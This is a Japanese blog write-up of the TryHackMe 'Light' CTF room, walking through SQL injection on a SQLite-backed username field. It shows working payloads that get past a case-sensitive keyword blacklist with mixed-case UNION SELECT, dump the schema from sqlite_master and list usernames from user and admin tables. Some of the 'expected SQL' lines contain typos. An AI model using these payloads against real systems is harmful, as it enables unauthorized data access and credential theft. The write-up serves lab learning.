[THM: Light] Workthrough

Light のCTFのウォークスルー

いつものport scanやpeなどではなく、純粋なSQLインジェクションのCTFっぽい。それととにかくレスポンスが悪く、何度も再接続する必要があるなど、別の意味でストレスを感じるので要注意。でもこの耐久性は、現実でも求められるよな(笑)

前提としては、ユーザー名の入力フィールドが1でそれに対してパスワードが1つ返却される。なので、以下の様なSQLが裏で走っていると考えられる。

select <パスワードカラム> from <ユーザーテーブルとか> where <ユーザー名カラム> = '<入力内容>';

その入力フィールドに、いろいろとSQLをいれてみる。

目的: インジェクションの調査
入力:'
期待のSQL:select <パスワードカラム> from <ユーザーテーブルとか> where <ユーザー名カラム> = ''';
戻り値:Error: unrecognized token: "''' LIMIT 30"、もしくは固まる。

目的: インジェクションの調査
入力:a' or '1
期待のSQL:select <パスワードカラム> from <ユーザーテーブルとか> where <ユーザー名カラム> = 'a' or '1';
戻り値:誰かのパスワードが返ってきた。

目的: Unionが使えるか?
入力:a' or union select '1
期待のSQL:select <パスワードカラム> from <ユーザーテーブルとか> where <ユーザー名カラム> = 'a' or union select '1';
戻り値:Ahh there is a word in there I don't like :(
考察: SQLi自体は成立しているので、SQLの予約語でブラックリストしているかも?

目的: Unionが使えるか?2回目
入力:a' Union seLect '1
期待のSQL:select <パスワードカラム> from <ユーザーテーブルとか> where <ユーザー名カラム> = 'a' or Union seLect '1';
戻り値:1
考察: バイパスできた。予約後のブラックリストを単純な大文字と小文字で作ってる。

目的: DBが何なのか?とりあえず、sqlite試す。
入力:a' Union seLect sqlite_version() where '1
期待のSQL:select <パスワードカラム> from <ユーザーテーブルとか> where <ユーザー名カラム> = 'a' or Union seLect sqlite_verion() where '1';
戻り値:3.31.1
考察: sqlite3だった。

目的: テーブル定義を探す。
入力:a' Union seLect group_concat(sql) from sqlite_master where '1
期待のSQL:select <パスワードカラム> from <ユーザーテーブルとか> where <ユーザー名カラム> = 'a' or Union seLect group_concat(sql) from sqlite_master where '1';
戻り値:CREATE TABLE usertable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER),CREATE TABLE admintable (
                   id INTEGER PRIMARY KEY,
                   username TEXT,
                   password INTEGER)

考察: 「usertable」と「admintable」があり、それぞれ「username」と「password」カラムがあるな。

目的:usertableのユーザー一覧の取得
入力:a' Union seLect group_concat(username) from usertable where '1
期待のSQL:select password from usertale where username = 'a' or Union seLect group_concat(username) from usertable where '1';
戻り値:alice,rob,john,michael,smokey,hazel,ralph,steve
考察: usertableに、出題の「smokey」がいることが分かった。

目的:admintableのユーザー一覧の取得
入力:a' Union seLect group_concat(username) from admintable where '1
期待のSQL:select password from usertale where username = 'a' or Union seLect group_concat(username) from admintable where '1';
戻り値:TryHackMeAdmin,flag
考察: 「TryHackMeAdmin」と「flag」が見つかった。

上記から、「TryHackMeAdmin」と「flaga」が解答につながることがわかるので、引き続き「union」を使用して解答を導きだした。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です